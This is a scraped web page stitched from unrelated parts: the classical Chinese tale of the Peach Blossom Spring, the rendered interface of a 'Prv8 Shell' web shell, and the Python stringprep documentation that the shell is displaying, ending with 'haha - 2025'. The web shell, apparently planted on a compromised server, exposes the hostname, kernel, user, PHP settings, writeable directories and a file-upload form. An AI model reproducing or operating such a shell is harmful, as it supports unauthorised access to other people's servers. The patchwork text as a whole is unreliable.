晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/doc/python3-docs/html/_sources/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/doc/python3-docs/html/_sources/library/stringprep.rst.txt
:mod:`stringprep` --- Internet String Preparation
=================================================

.. module:: stringprep
   :synopsis: String preparation, as per RFC 3453

.. moduleauthor:: Martin v. Löwis <martin@v.loewis.de>
.. sectionauthor:: Martin v. Löwis <martin@v.loewis.de>

**Source code:** :source:`Lib/stringprep.py`

--------------

When identifying things (such as host names) in the internet, it is often
necessary to compare such identifications for "equality". Exactly how this
comparison is executed may depend on the application domain, e.g. whether it
should be case-insensitive or not. It may be also necessary to restrict the
possible identifications, to allow only identifications consisting of
"printable" characters.

:rfc:`3454` defines a procedure for "preparing" Unicode strings in internet
protocols. Before passing strings onto the wire, they are processed with the
preparation procedure, after which they have a certain normalized form. The RFC
defines a set of tables, which can be combined into profiles. Each profile must
define which tables it uses, and what other optional parts of the ``stringprep``
procedure are part of the profile. One example of a ``stringprep`` profile is
``nameprep``, which is used for internationalized domain names.

The module :mod:`stringprep` only exposes the tables from :rfc:`3454`. As these
tables would be very large to represent them as dictionaries or lists, the
module uses the Unicode character database internally. The module source code
itself was generated using the ``mkstringprep.py`` utility.

As a result, these tables are exposed as functions, not as data structures.
There are two kinds of tables in the RFC: sets and mappings. For a set,
:mod:`stringprep` provides the "characteristic function", i.e. a function that
returns true if the parameter is part of the set. For mappings, it provides the
mapping function: given the key, it returns the associated value. Below is a
list of all functions available in the module.


.. function:: in_table_a1(code)

   Determine whether *code* is in tableA.1 (Unassigned code points in Unicode 3.2).


.. function:: in_table_b1(code)

   Determine whether *code* is in tableB.1 (Commonly mapped to nothing).


.. function:: map_table_b2(code)

   Return the mapped value for *code* according to tableB.2 (Mapping for
   case-folding used with NFKC).


.. function:: map_table_b3(code)

   Return the mapped value for *code* according to tableB.3 (Mapping for
   case-folding used with no normalization).


.. function:: in_table_c11(code)

   Determine whether *code* is in tableC.1.1  (ASCII space characters).


.. function:: in_table_c12(code)

   Determine whether *code* is in tableC.1.2  (Non-ASCII space characters).


.. function:: in_table_c11_c12(code)

   Determine whether *code* is in tableC.1  (Space characters, union of C.1.1 and
   C.1.2).


.. function:: in_table_c21(code)

   Determine whether *code* is in tableC.2.1  (ASCII control characters).


.. function:: in_table_c22(code)

   Determine whether *code* is in tableC.2.2  (Non-ASCII control characters).


.. function:: in_table_c21_c22(code)

   Determine whether *code* is in tableC.2  (Control characters, union of C.2.1 and
   C.2.2).


.. function:: in_table_c3(code)

   Determine whether *code* is in tableC.3  (Private use).


.. function:: in_table_c4(code)

   Determine whether *code* is in tableC.4  (Non-character code points).


.. function:: in_table_c5(code)

   Determine whether *code* is in tableC.5  (Surrogate codes).


.. function:: in_table_c6(code)

   Determine whether *code* is in tableC.6  (Inappropriate for plain text).


.. function:: in_table_c7(code)

   Determine whether *code* is in tableC.7  (Inappropriate for canonical
   representation).


.. function:: in_table_c8(code)

   Determine whether *code* is in tableC.8  (Change display properties or are
   deprecated).


.. function:: in_table_c9(code)

   Determine whether *code* is in tableC.9  (Tagging characters).


.. function:: in_table_d1(code)

   Determine whether *code* is in tableD.1  (Characters with bidirectional property
   "R" or "AL").


.. function:: in_table_d2(code)

   Determine whether *code* is in tableD.2  (Characters with bidirectional property
   "L").


haha - 2025